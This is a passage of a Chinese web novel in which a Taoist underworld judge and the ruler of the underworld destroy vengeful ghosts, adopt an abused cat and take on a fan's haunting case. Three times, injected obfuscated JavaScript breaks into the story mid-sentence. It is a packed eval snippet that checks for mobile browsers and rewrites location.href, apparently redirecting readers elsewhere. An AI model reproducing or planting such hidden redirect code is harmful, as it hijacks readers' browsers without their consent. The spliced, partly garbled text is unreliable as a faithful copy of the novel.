屋里传来微弱的叫声,黑猫在贺鱼的怀里动了两下。 贺鱼推开房门,地府的十八层地狱也不过如此,屋里摆放着各种奇怪的道具,最里面摆着笼子,里面的动物痛苦的鸣叫。 黑猫跳下贺鱼的怀中,一瘸一拐跑得很快来到那个笼子面前,里面一只狸花身上已经没有一块好地方。 贺鱼闭了闭眼,无论是什么生命都该受到尊重,这世间存在等级法则。 可杀生,却不可虐杀。 黑猫轻轻扒拉着狸花,可狸花被折磨的只剩下一口气,活着也是受罪。 片刻后黑猫好像明白了这件事,俯下头探进笼子里蹭了蹭狸花,下一刻狠狠咬住他的脖子。 贺鱼叹口气,在狸花的魂魄飘出来的时刻,念了段往生咒,洗去了狸花身上的怨气。 “先跟我走吧,弄完这边送你去下面。” 贺鱼勾了勾手,狸花呵黑猫都跳到贺鱼的身上。 他一直走到最里面的房间,每间路过的房间他都检查了一下,在里面倒数第二间找到了被阵法困住的水鬼。 他傻坐在地上,垂头丧气的。 贺鱼推门进来给他吓得一抖,大叫道:“别收我别收我,我什么坏事都没做过。” 贺鱼指尖散发着淡淡的金光,勾画两下轻轻念道“破”,困着水鬼的阵法轰然破裂。 见到是贺鱼水鬼满脸喜色,激动得神情难以言表:“小大师,你可真厉害。”他还以为贺鱼只是一个能看到鬼的有些特殊的普通人,没想到还是一个小天师。 他跟在贺鱼后面絮絮叨叨说着自己进来看到的:“小天师你是不知道啊,真给我吓死了要,这人是变态吧,凌虐动物,我想着这样恶毒的人到底长什么样,我进屋里来看看,结果就被困在这了,还好你来了,不然落在这人手里还不知道什么下场。” 贺鱼瞥了他一眼:“会被喂厉鬼。” 水鬼吓得僵在原地半晌,又重新跟上来:“啊,鬼也能吃鬼吗?” 贺鱼此时来到了最里面的门,他手上勾画着符文,一边给这个鬼解释:“嗯,厉鬼可以吞噬同类增强自己。” 这水鬼虽说是淹死的,但就是普通死亡,也没被抓替身,就是他倒霉掉下去了,没啥怨气,可能是跟着那个小贩钓上来的鱼跑出来走动,普通的鬼自然不会这些歪门邪道。 厉鬼去复仇,冤有头债有主,天道不会理你,可吞噬魂魄极其有违天道,吃了多自然会受到天罚。 贺鱼话音落下手里金色的符篆拍在门上,霎时间里面传来了一阵阴风,尖利的嘶吼传来,贺鱼看着破门而出的数个厉鬼,面不改色摸出几张符篆丢出去。 这些恶鬼已经没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392159|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识了,手下留情只会为祸阳间。 雷鸣声响过本觉得拥挤的房屋此刻只剩下一只猫的魂魄还有一个呆愣的水鬼。 其他动物的魂魄没看到,多半是都喂了这些恶鬼,用怨气重的魂魄养出的厉鬼会更厉害。 注意到动静的裴寂几乎是片刻过来,可一切也不过是发生在瞬间的事,他到的时候只看到贺鱼甩出两张符纸,还不等他出手,这些恶鬼就魂飞魄散。 见贺鱼风轻云淡的模样,他再相信那些符是求来的就有些蠢了。 贺鱼不打算走,他要在这里等这个养鬼的人回来,等着的这段时间他也没闲着,从墙边捡了个铲子在院子里挖了个坑,给动物的尸体都整齐得摆放在里面,这些尸体已经没有灵魂了,贺鱼也知道他们不会安息。 他将散乱的尸体拼凑到一起,扒拉着哪个眼珠子对得上。 裴寂不明白为什么这么做,但他觉得贺鱼一个人挑的有些辛苦,把两个屋子里的尸体都运了过来,蹲在贺鱼旁边挑拣。 水鬼和两只猫也在帮忙,那些半死不活已经很难救回来的动物,贺鱼都给它们个痛快。 裴寂贺鱼挑的很快,但实在数量太多,还有很多已经彻底分辨不出来的,一直到太阳下山,屋里的主人都没有回来。 贺鱼填上土,念了几遍往生咒看了下时间。 “他多半应该不回来了。”阵法被迫设阵的人肯定会有感应,养这么多鬼都死了怕是不小的反噬,这么久了还没来应该是跑了。 这院子虽说没有恶鬼,但却还是透着一股浓重的阴气,时间久了周围的人生物都会受到影响。 贺鱼垂头想了想,在院子里绕了一圈,丢了一张火符。 在真火的温度下很快就烧了起来,等到火势大了贺鱼才和裴寂出去。 还好这片人少,放在地上的菜还好好的在,贺鱼拎起青菜看着燃起的漫天火光,这火只会给这个院子化为灰烬,不会烧到别的地方。 “走吧。” “晚上不想做饭了,我们出去吃吧。”贺鱼走在面前,黑猫老实趴在他的肩膀上。 贺鱼不嫌他脏,黑猫也不嫌这硬。 回去路上贺鱼找了个宠物医院给黑猫做了个全身检查,皮外伤加营养不良,别的没有什么,身上有些脏,有点小皮肤病,回去洗洗驱个虫就好了。 交钱的时候贺鱼跟裴寂说:“这算是咱俩一起养的,你出一半钱。” 裴寂:? 这猫跟他有什么关系。 贺鱼似是看出了他的疑惑:“你要不是想吃烤肠我会看见他吗,他都这样了给他放出去还不是死了,你又一半责任。” 裴寂觉得他说的有些道理,垂头“哦”了一声:“那你从我那份里面扣吧。” 贺鱼觉得这才对。 回去贺鱼又去宠物店买了一堆猫用的,避开他的伤口简单洗了洗,之前真是脏的不行,身上的毛因为要上药也剃的一块一块不成样子。 贺鱼举起来看了看,丑的不行。 回去已经将近十点,贺鱼带着裴寂去了一家新开的烧烤摊。 小摊子上人很多,贺鱼在角落找到了一张空桌,他要了两瓶啤酒。 裴寂从来没喝过现代的酒,学着贺鱼往嘴里倒了一口,奇怪的味道让他呆在座位上半晌。 上菜的小姑娘扎着丸子头,看着还是上小学的年纪,见到贺鱼脚边的黑猫,眼睛一直盯着看。 贺鱼见黑猫也对着小姑娘叫,好像认识的样子。 “小妹妹,你见过这只猫吗?” 14. 第 14 章 小姑娘蹲下来摸摸黑猫探出的头:“是你吗小黑?” 黑猫似是回应得喵了一声。 小姑娘眼神透出欣喜的神色,随后看到黑猫身上的伤眼里的喜色又黯淡下来。 她回头对贺鱼说:“之前他和另外一只狸花总来我家旁边蹭吃蹭喝,后面有一天就不见了,已经一个礼拜没来过了,不知道怎么受了这么重的伤,还好遇到了哥哥种好心人。” 小女孩虽然还小,该懂的都懂。 小猫身上的伤显然不是自己不小心能弄出来的。 贺鱼动作一顿,看着黑猫旁边躺着的狸花猫,撸下签子上的肉摸摸小姑娘的头:“我看到那个狸花了,他很精神。” 小姑娘眼神又亮了起来:“真的吗,那就好,哦对了哥哥你等一下。” 她说着跑走,没过一会又小跑回来,手上多了个纸箱子:“哥哥,这是我用零花钱买的猫罐头,你是不是准备收养小黑了,这个给你。” 贺鱼笑着接过:“好,下次等小黑好了再带过来看你。” 小女孩一笑脸上两个梨涡看着可爱极了:“谢谢哥哥,要是看到那个狸花也分他一半。” 趴在黑猫旁边的狸花抻了个懒腰对着小姑娘伸了伸爪子。 可惜小姑娘看不到他了。 这个点的烧烤店客人很多,小姑娘来不及多说几句话就被叫去做事了。 贺鱼喝了口啤酒,冰镇的在这炎热的夏日填了添了几分爽感,耳边的客人聊着晚上那场大火。 “诶你知道不刚才菜市场那边着火了。” 他的同伴好奇问:“菜市场那么多人,有没有人受伤啊。” 常驻居民都来这买菜。 同伴摆了下手:“诶呀不是菜市场,是旁边那块的平房区,就是之前说要开发那块你记得不?” “记得记得,这事当时闹得挺大的。” “就是那块有户人家着火了,说来也奇怪,这家一个人没有,这火怎么烧起来的,而且就他家着了周围一点没波及,救火的到时候,那火水都扑不灭。” 人们总是喜欢听这些悬疑的故事,他同伴连吃的动作都停下了,就等他接着说。 “有人说总能听见那个院子里有奇怪的声音,会不会是什么东西来报复了?” 那人同伴打了个哆嗦:“大晚上的怪吓人的别说了。” 裴寂耳力好听了个全部,他学着贺鱼的样子吃东西,一边打量着这个意外招来的地府判官。 “你学过道术?”他问。 贺鱼点点头:“嗯,小时候跟一个老道士学过一些。”十三岁之后就没有再接触这些东西。 “怪不得你会被招过来,原是有些渊源。”阴间的系统不太可能出错,招来一个普通的活人不太可能,这或许也是某种天意。 贺鱼微愣,随后释然笑笑:“可能吧,小时候父母出了事,我总感觉是自己接触这些东西带来的祸患,我妈是个小女人,有时候我一身伤回来她就吓得哭,她死后头七我看见她了,她说不怪我,不是我的错,但要是有可能还是希望我做个普通人。” 裴寂知道了怎么吃后自己举一反三用筷子将签子上面的头撸下来沾着调料,静静听着贺鱼谈起自己过去。 上次他就好奇,贺鱼说十三岁父母死了,可在他家这段时间没见他提过其他亲戚,也没有什么亲戚来看他,始终都是自己,这么多年是怎么长大的。 贺鱼又开了一瓶啤酒:“我问老道士有没有什么办法能让我不再看见这些东西,他长长叹息了一声,用了一生修为帮我合上了这双阴阳眼。” 他想起老道士有些无奈的眼神,最后却还是给他想了办法。 “后面老道士就羽化了,我不知道是不是跟我有关系。”贺鱼又喝了一杯,多半是和他有关,要是他不说不要这双阴阳眼,或许老道士还能活上许久。 师父师父,父母死后就剩老道士真心对他,老道士也走了。 贺鱼喝不了多少,一瓶酒下肚已经让他脸色红润,眼神迷离。 他笑笑:“老道士一定不知道他也只是帮我遮住这双眼睛不到十年,去了地府阴气太盛我又能看见了。” 裴寂问:“老道士叫什么,可知何时生何时死的?” 贺鱼不知何时生,只回答了裴寂两个。 裴寂轻嗯了一声,又继续吃自己的东西。 贺鱼也没接着说,裴寂也不问,他要是说他就听,他要是不说,他就吃东西。 走的时候差点没结上账,裴寂兜里一分没有,在老板的指导下拿出贺鱼的手机又摁指纹又刷脸,可算是付完钱了。 裴寂架着喝得走路发飘的贺鱼回家,贺鱼并不重,可是他偏偏靠在他身上要自己走,他脚步落地这样拖着反而对裴寂来说难度更大。 他一手搂过贺鱼的腰抬了一下,让贺鱼的胳膊能搂住他的脖子,一只手扣着他的腿弯。 贺鱼喝得晕晕呼呼问:“裴寂你办公室在哪啊,我怎么在地府从来没见过你?” 裴寂回忆了一下贺鱼工作的位置:“从你上班的地方往里走,大概走过三个街口,在酆都城最里面就是。” 贺鱼含糊应了一声:“那我下次去找找。” 裴寂一只手拎着菜兜子,一只拎着猫箱子和用品,还胳膊托着贺鱼,这个点路上已经没多少人,来来往往的车倒是不少。 路灯给道路照的通明,和常年阴间晦暗的地府不一样,到处都是人间烟火,活人的气息。 身上也有个喘气的。 裴寂心情有些难以诉说的愉悦,这是与他在地方多年如一日不同的生活。 他甚至想让这条路长一点,贺鱼再活得久一点。 他勾了勾嘴角,放慢脚步,听着贺鱼呢喃的梦语,感受着此刻的夜风。 奈何这条路再短也有尽头,何况这个烧烤摊子就在小区不远的地方。 裴寂摁着电梯上楼,把手指摁在指纹锁上,贺鱼前几天给他录上的。 “嗡——”的一声响,门真的开了。 裴寂看着自己的手一会才拉开门进去。 贺鱼进屋就开始脱衣服,直奔卫生间开始洗漱,出来时只穿着一条四角裤去床上拿了自己的睡衣套身上,似乎直接把裴寂忘了个干净。 听着床上传来的均匀呼吸声,裴寂有些呆愣,给猫箱子提到另一个屋子里,填上水和粮,打开笼子的门小声道:“放你出来不要吵到他。” 黑猫能听懂人话自己跳到柔软的垫子上面睡觉。 他又悄悄来到冰箱,把菜整齐得放在冰箱里,动作非常小心,生怕吵到贺鱼。 做完了才悄悄离开。 阳间这个时间已经休养生息,却真是鬼怪活跃的时间。 裴寂的红色兽车在阳间驶过回到阴界,所过之处众鬼俯首战战兢兢, 来到转生殿裴寂叫来此处管事的鬼差,将贺鱼跟他说的老道士名字和死亡时辰交代给鬼差:“查一查有没有投胎。” 几年前死的不一定能投上胎,现在出生率低,说不定还在排队。 裴寂坐在首座,垂眸逗弄着膝上的狸花猫。 狸花很有脾气,毫不在意面前这个鬼是什么官职,被逗弄烦了毫不客气咬上裴寂的手指。 裴寂笑了声,撸了两把猫,抱起来递给旁边小心候着的鬼差:“送到贺鱼判官那吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392160|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼差小心翼翼接过,一路沉稳,生怕摔了碰了。 大约过了一刻钟时间,老道士的魂魄被带到裴寂面前。 老道士活着的时候也没少做好事,鬼差来的路上没少提点:“北阴大帝叫你,一会可要小心应对,这是位喜怒无常的主。” 老道士修道这么多年,自然知道北阴大帝代表什么,他来时路上回顾自己的一生,没有做什么错事,那应该不是找他麻烦的。 见到传说中掌管阴间的最高级神灵,老道士虽然诧异于这位的长相,却还是恭恭敬敬行礼。 见裴寂脸上神情平常,老道士放下心,看来确实如他想的那般,不是坏事。 裴寂问:“汝还记得贺鱼否?” 老道士听到这个名字微微睁大了眼睛,心里百转千回,不会是贺鱼做了什么错事,想到贺鱼的能耐他心里突突跳,不过很快想到贺鱼向来稳重,应该不会有什么出格的事。 “记得。”他不敢多答。 裴寂翻开着老道士的生平,是个积德行善的小道士,有些真才实学,贺鱼遇上他也是遇上了个好人,现在阳间竟是些沽名钓誉之徒。 在这片刻的沉默中,老道士紧张得手心有些汗意,不过鬼是不会出汗的。 这位传说中的北阴大帝穿着短袖牛仔裤坐在那里,一副现代大学生的模样,可带来的压迫感却一点不少。 “我瞧你来生能投个好胎,不过要等些时日,你要是愿意再世为人也可,或是也留在阴间做个阴差,拘魂司缺个管事,你可愿去?” 老道士微怔,不知怎么话题从贺鱼跳到这里了。 他沉吟片刻,想了想道:“我愿留在阴间。”多少世也是循环往复。 裴寂合上手里的书册:“那你明日就去报道吧,还可福泽你的道观。” 老道士赶紧谢拜。 他斗着胆子问道:“不知帝君为何提起贺鱼?” 裴寂起身准备离开:“哦他今日跟我说起你,说感觉有些对不住你,你用一生修为帮他却最后还是过上了见鬼的日子。” 老道士这下更是僵在原地,努力消化北阴大帝说的东西。 什么意思,贺鱼跟北阴大帝提起他?那贺鱼现在是? 他嘴唇有些哆嗦,这个小徒弟真是大本事,看这位的意思还很欣赏小鱼:“帝君怎与小鱼相识的?” 裴寂已经走出好几步,要说他跟贺鱼认识的时候:“我请他吃麻辣烫时候熟的。” 老道士:? 这是神仙的语言吗,他怎么有点听不懂。 待裴寂走后带着老道士来的鬼差长长舒了一口气:“诶呀可吓死我了,我还以为你摊上事了呢,以后可要改口叫大人了。” 鬼差笑着打趣,他和老道士没少接触,俩鬼也投机。 “可能是受了我这个小徒弟的福。”他都死了这么久了,这会才被想起来。 鬼差也听到了方才的对话此刻恍然大悟:“原来你是贺鱼判官的师父啊。” 老道士一听赶紧追问起来,这才得知事情始末。 他听罢也是叹息道:“都是天意啊。” “叹什么气啊,这回你俩还能见面呢,他来上班你就能去殿里看他。” 老道士一听也是,回去就数着时间过日子。 他不怪贺鱼是判官却不来找他,人鬼皆有自己的法则,这般才是对的,不过现在同为阴差,他们倒是可以见面了。 贺鱼次日睡到自然醒,起床揉了揉脑袋,宿醉真是头疼得很,以后再也不喝了,都怪昨日太气愤。 他打个哈欠起床冷不丁看到坐在沙发上像个假人的裴寂,吓得精神不少。 15. 第 15 章 裴寂指了指贺鱼床头的小闹钟:“昨天你说让我早点来,说今天去拍照。” 他来了贺鱼根本没醒,看他睡得香也没叫他。 贺鱼摁着酸痛的脑袋,倒是给这事忘了,他摸起手机看了下时间,应该还来得及。 出门前贺鱼给小黑的碗里填了粮,小黑会自己去马桶上厕所,省了贺鱼买猫砂的钱。 外面的天气很好,十点多下楼就被楼下的大妈喊住。 “小鱼早上没来我还担心你来着,刚想去你家看看。”楼下的大妈大爷凑在一起唠嗑,见到贺鱼赶紧围上来。 贺鱼有些不好意思:“昨天喝多了今早没起来。”连闹钟响了都没听见。 大妈们也不在乎这个:“你人没事就好,你自己住,早上不来我们担心,我拉你进我们的群吧,你有啥事说一声我们也放心。” 贺鱼连声应了,被大妈盯着进群。 “这是你朋友啊小鱼,真是好俊一小伙子,多大啦有没有对象呢?” 贺鱼怕裴寂再语出惊人赶紧替他答:“二十五,有对象了哈哈大娘我们有事先走了啊,明天咱们还是原来时间。” 赶紧拉着裴寂走,不说有对象万一这些大娘再要给他介绍个对象他可真是要愁死了。 下楼正好想从快递驿站给手机取了,贺鱼买了两个一样的新款。 他给粉色的那个递给裴寂,新款难抢,就抢到一个黑色的,反正套上手机壳什么都看不见。 裴寂接过放嘴里咬了一口,贺鱼眼疾手快抽出来。 “这是手机,不能吃。” 裴寂“哦”了声,他还以为是什么巧克力呢。 贺鱼路上教他怎么使用,录上了指纹和脸,还用另一个手机号给他注册了一个账号,两个人加上联系方式。 “看,这就是能发消息了。”贺鱼随手点了个刚加好友系统提供的打招呼表情。 裴寂学习很快,不会打字就发语音,路上十分钟的功夫给打电话发消息都学得差不多。 贺鱼跟摄影师简单说了下要求,一万的单子,他也不能用自己那破技术敷衍啊。 贺鱼从手机里找出之前商家发的图片,他店里那两个卡通人的姿势挑了两个,和裴寂换上衣服在摄影棚搭的场景拍了两张。 贺鱼要的原图,他自己本身就会修,让他们修不仅慢还很贵。 出来都出来了,贺鱼也不想回去做饭,他带着裴寂去附近的商场吃一口。 商场四楼都是吃的,从电梯上来就是卖甜点的,贺鱼平时看见新品也会买点。 “你想吃哪个?” 裴寂其实每个都想吃,站在透明的柜子前沉默。 贺鱼看他的表情就猜到他想的什么,但也不能买太多,他过去挑着自己之前吃过好吃的捡了几个:“我觉得这几个好吃。” 裴寂又挑了几个自己想要的,他跟在贺鱼后面,贺鱼买什么他就吃什么,一直吃到火锅店里。 贺鱼沉默看着已经空了不少的袋子,没钱真是养不起。 裴寂吃东西的时候要看贺鱼什么时候放下筷子,贺鱼停下他就会跟着停下。 快要入秋了贺鱼带着裴寂买了些衣服,他挑出了一个柜子用来放裴寂的衣服。 回去后贺鱼修图,裴寂自己玩着手机,贺鱼教他怎么回粉丝消息。 裴寂不太会打字,只能手写或者语音。 他从上往下翻看着消息,一条一条回复。 “主播主播我好喜欢你,你真的很帅。” “谢谢。” “主播我要考试了,可不可以对我说句加油。” “加油。” “主播你和小鱼是不是真的是不是真的!!!!!” “不能是假的。” “好羡慕你长得这么帅的人,我长得很丑感觉不配活在世界上,不然死了重新投个胎算了。” “现在很不好投胎,而且下一世不一定比现在更好看,也不一定是人。” 裴寂这条消息发出去后很快就收到了回复。 “谢谢主播不想死了。” 大多数都是说他帅的他后面懒得回复谢谢,就回了个平台推得表情包。 剩下那些在跟他倾诉的他会思考一下回复。 “你说世界上真的有鬼吗,哈哈真是的我问你干什么,你这个名字也不过是随便取的。” 裴寂在手机屏上划着笔画:“不是随便取得。”这是实事啊,鬼也要上班赚钱,地府那么大都靠他一个人养着,无神论香火太少了,越发捉襟见肘。 “啊?那是真的有鬼吗?” 发消息的人头像是一个小兔子,裴寂已经学会查看人的资料,他点进去看是个年轻的女孩。 裴寂没有回答这个问题,有些话不能说他是知道的。 不过女孩好像抓到了救命稻草,很快发来一大段话:“我是自己一个人住,最近晚上总能听到奇怪的声音,走路的声音,做饭的声音,可我鼓足勇气出来时什么都没有,我跟朋友说可能是我压力太大有些幻听了,她陪我来住一阵,但偏偏又只有我能听到声音。” 她独自身在外地,跟家里人说也是徒增烦恼父母还担心,跟这边的朋友讲了两次,陪她住了两晚,也不能一直陪着她。 每天夜里都睡不好觉,精神很不好,工作上被骂了好几次,最近已经在打算要不要换个房子了。 裴寂看了眼在修图的贺鱼,拿过桌上的饮料喝了一口。 在屏幕上划过:“我帮你解决有钱吗?” 上面的“对方正在输入中”持续了很久,好半晌发过来一条消息:“要多少?” 裴寂想到贺鱼说的“看人下菜碟”,他又翻开了小姑娘的主页,分析了一下她有没有钱,但他看不出来。 他拿着手机蹭到贺鱼身边:“小鱼,我们好像又来钱了。” 贺鱼吐出嘴里的鸡翅,一时没反应过来:“哪来的?” 看完聊天记录贺鱼又沉默半晌,裴寂还在旁边说着:“我刚才看了她的主页,好像不是很有钱的样子。” 贺鱼气得想给他一下:“钱钱钱你就知道钱,这小姑娘不知道招上什么东西了,你怎么一点同情心都没有。” 他霹雳扒拉得打字:“我先过去看看,你的地址方便发我吗?钱再说。” 小姑娘说过是自己住,这个时间太晚了他们两个男的过去也不合适。 没过一会发来一个地址,贺鱼询问了一些细节后回道:“你最好晚上去和一个阳气旺的朋友一起睡,等到明天我去看看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392161|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他觉得有些不放心,又教了小姑娘一个破障的方法:“你要是觉得事情不对,咬下自己的舌尖,出血就行。” “有什么事及时和我联系。” 他放下手机扯了下裴寂:“愣着干什么,车掏出来我们走啊。” 裴寂一口气嗦掉手里的果冻:“不是说明天去吗?” 贺鱼翻了个白眼:“这种事还是早点解决好,谁知道今晚会不会有什么变故。” 裴寂觉得贺鱼有时候真的很奇怪,一边非常市侩,又一边在做这种一点好处都没有的事,还会替一个陌生人担心。 真是一个奇怪的活人。 贺鱼坐在车上看着手里的地图指挥着方向,他莫名其妙想起一句话——全国可飞。 停在楼旁边,屋里看着是没人,看来真是去朋友家睡了。 贺鱼觉得两个男人进屋不好,屋里是透着一股阴气,不过十分微弱,没什么危害。 他看了眼时间,坐车来这一个小时,要是再回去明天又要来,折腾都麻烦死了。 直接在这住一晚算了,手机上定了个酒店,这个时间不太好定,很多都已经定出去了。 剩下的要不是不好,就是太贵。 贺鱼挑了半天找到一个性价比不错的,就是只剩一个房间,他看了眼裴寂,他应该一会回地府,那自己住就行。 贺鱼在前台取完卡看着身后还跟着的人:“你不走?” 裴寂其实也挺好奇这酒店是咋样的,他咳了下:“嗯,今日有门禁,回不去了。” 贺鱼狐疑望向他,他觉得裴寂不像是会撒谎的人,不过阴间有门禁真是头一回听说。 “那你跟我一起吧。”他都说了回不去了,贺鱼也不能真让他在外面晃悠一晚上。 裴寂跟在贺鱼后面好奇打量周围,进了屋才发现只有一张床。 他袖口的略微被捏出褶皱,迟疑好半晌问道:“小鱼,我睡哪?” 贺鱼奇怪得看着他:“就一张床还能睡哪?” 两个男的他怎么扭扭捏捏的。 裴寂觉得脸又有些发热,但他不会有人的体温。 他有些拘谨坐在床头。 贺鱼挑的不是什么便宜的酒店,他虽然扣还爱钱,该花的时候也不会亏待自己。 床头放着一次性的两套睡袍,贺鱼随手拿起一个进了浴室。 他都打开花洒才想起来开门说道:“我刚才点了外卖,一会你下去拿一下。” 贺鱼的声音夹杂着水声有些模糊,裴寂耳力好听得真切。 大概过了十几分钟,贺鱼的手机铃声响了,裴寂认得上面的字,贺鱼定的外卖到了,他说放到了酒店的外卖柜里。 裴寂慢慢磨蹭下去,贺鱼定的吃的和两套内裤。 走到门口裴寂扭了下门把手没开,这个门不是一扭就开的,他回忆起刚才贺鱼好像用了那个卡片刷了一下。 他出来时没带。 裴寂敲了敲门,窘迫站在门外等了下,贺鱼好像没洗完。 出来的时候也没带手机,他看了眼周围没人,闪身穿门进去。 “我草!” 和在浴室里的贺鱼来个了脸对脸。 没控制好距离,斜了一点进浴室了。 16. 第 16 章 一人一鬼面面相觑,裴寂手里还拎着麻辣烫和内裤。 贺鱼见他半天不动有点气笑了:“咋,进来给我送内裤来了?” 裴寂把内裤放到一边,不管被浇湿的身上赶紧出了浴室。 贺鱼到没觉得什么,还好是他,这要是窜到别的屋里去,人家不得报警啊。 他也洗的差不多,简单擦擦就出来了。 裴寂坐在床上发愣,身上的衣服还是湿着的。 贺鱼揉着头发问:“你要不要也洗个澡,鬼是不用洗,不过洗完了还挺舒服的。”他买了两个内裤就是下意识给裴寂带了一个,不过裴寂应该用不到吧。 裴寂出来的时候贺鱼在嗦麻辣烫,屋里都是麻辣烫的味道。 长发都是水,身上也没擦干净,出来的时候光着脚,在地上踩了一串水印。 贺鱼停下手里的筷子,去浴室里拿了个干净的毛巾出来扣在裴寂头上:“洗完了要这样擦一擦,然后再用吹风机吹干。” “一会再吹吧,先吃饭。” 裴寂学着贺鱼的样子用毛巾在头上揉了两下,坐下来安静吃饭。 贺鱼一直在玩手机,他也点开自己的手机,读粉丝消息。 贺鱼是个早睡早起的人,平时生活也十分规律,想到明天又回不去了,在大妈拉他进去的群里说了一声。 吃完饭收拾了一下,这个时间睡觉还早,贺鱼眼珠转了一下怼了怼裴寂。 “把手机拿来。” 他给裴寂的手机连上酒店的网下了个游戏。 “来啊,咱俩来玩游戏。” 他给裴寂注册了个账号,简单让他过了下新手任务拉裴寂双排。 一开始两把配的都是人机,裴寂不管玩什么都赢得很轻松,后面逐渐有真人,贺鱼带着裴寂就没赢过。 连着输了三把贺鱼也觉得有点没意思,这个时间也差不多该睡觉了。 “不玩了,睡觉。” 贺鱼伸手摸到墙上的灯关掉翻个身背对着裴寂酝酿睡意。 他已经自己住了很多年了,身边多个人总觉得有些奇怪,说是睡觉其实一点睡意都没有。 身边不是人是个鬼。 裴寂也是十分僵硬躺着,他不用睡觉啊。 这人睡不着就会想翻身,贺鱼一转身正对上裴寂瞪得老大的眼睛。 他吓得呼了口气:“你干什么?” 裴寂的声音有些委屈:“翻身啊。” 贺鱼一噎,人家也是可以翻身的。 眼对眼气氛有些奇怪,一人一鬼又翻过身平躺。 “你在地府一个月开多少钱?”反正都是睡不着,贺鱼先开腔了。 裴寂声音闷闷:“没有钱。” 贺鱼讶然:“只有我有工资?”那这些鬼原来都是免费劳动力吗。 “只有我没有。”裴寂说出来都觉得自己好苦,再往前几百年人们都是信封神佛的,他身为地府最高神,自然有享受不尽的香火,现在也有些,不过满足不了地府的开销。 贺鱼没有再追着这个话题问,裴寂没有钱说不行是生前做了什么错事,这涉及到隐私还是不要追问了。 “你生前有没有谈过女朋友,哦就是娶妻,没有老婆孩子吗?”裴寂看着很年轻,应该是年纪不大死的,古人结婚早,说不定也是有的。 裴寂面色古怪:“没有。” 贺鱼“啧”了一声,现在更觉得裴寂有些可怜了,倒是少了不少牵挂。 “晚上的麻辣烫好吃吗?” “还行,没有之前在店里吃的好吃。” “哦你说那天你请我吃的,那家是周围开了好久的,还有很多好吃的,等哪天再放假带你去。” “好。” 两人有一搭没一搭聊着天,贺鱼之前比较孤僻,没有什么朋友,空闲时间都用来打工赚钱养自己,和同学室友什么的社交很少,自然就不亲近,像这样和朋友枕在一起睡觉是头一遭。 说着说着贺鱼也有了睡意。 裴寂双手交叠摆在胸前,外面不知是灯光还是月光透过酒店的窗帘缝隙洒在两人的脸上。 他伸手遮了遮,贺鱼脸上的一点亮光就变成了暗色。 贺鱼睡觉不是很老实,嘴巴嘟嘟囔囔不知道在说些什么,腿下一刻也甩了过来,砸在裴寂的身上。 不重,膝盖和脚踝处的骨头还有点硌。 贺鱼很瘦。 他微微侧过头,不敢动作太大怕惊醒贺鱼。 晚间阴气弥漫,有鬼差在街上穿梭勾魂,这间酒店也有人要去世了,裴寂微微动了动手指,不让阴气漫进屋子,修道之人对阴气都很敏感。 酒店就算再干净也不及家里好,贺鱼第二天比以往的生物钟醒的还早。 先摸了下手机看了下时间,转过对又对上裴寂浑浑噩噩的脑袋才开始运行。 靠在床上翻了半个小时手机找完了本地特色,和裴寂洗漱一下退房就去出门吃饭了。 时间刚好吃完饭小姑娘就来了消息,他们在楼下集合碰面。 小姑娘说她叫王璐,今天二十五,才出来工作两年不到。 不知道是不是昨晚难得睡得好觉,她神色看着不错,见到裴寂和贺鱼脸上竟是兴奋之色:“天啊,你比照片里面还帅,我们能不能来一张合照。” 她举着相机跃跃欲试。 裴寂看向贺鱼,贺鱼点点头。 王璐十分兴奋关掉美颜不顾自己照片里角度都有些变形的脸拍了两张。 进小区的路上王璐给他们讲着最近的经历:“大概有一个礼拜了,我还在网上买了红绳符纸什么的,也没什么作用,这块房租太贵,好不容易找到这么一个性价比高的,我也不是很想换房子。” 她说着叹口气,然后眼神有些质疑在两人身上扫了一圈:“你们真的行吗?”她昨天也是头脑一热答应了,现在有些后怕,要是这两个人是坏人怎么办。 她霎时脑子里想起很多之前刷到过的小视频,脑子里全是一会进了屋房门一关叫破喉咙也没用的画面。 贺鱼就怕她不相信,提前就给道具准备好了,他从兜里掏出一把符篆,还有那会跟老道士混来的道士证,上面的照片还是他小时候的样子,他就拿出来在王璐面前晃了一晃。 “看见没,我有证,正经的。” 王璐这才微微放下心。 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那边似是没听清“喂”了两声,王璐又重复了一遍。 “你妈前几天去你小姨家了。” 王璐老家在乡下,那边有金属碰撞的声音,她爸应该是干活把东西放下了。 王璐不知为何听到这话心里有点不祥的预感,她心慌的厉害:“这段日子你们没联系吗?” “没,我不太会打电话。” 王璐心又是一咯噔,那就是她妈也没给她爸打电话,她没心思再和父亲说什么,赶紧挂断了电话,找到了小姨的。 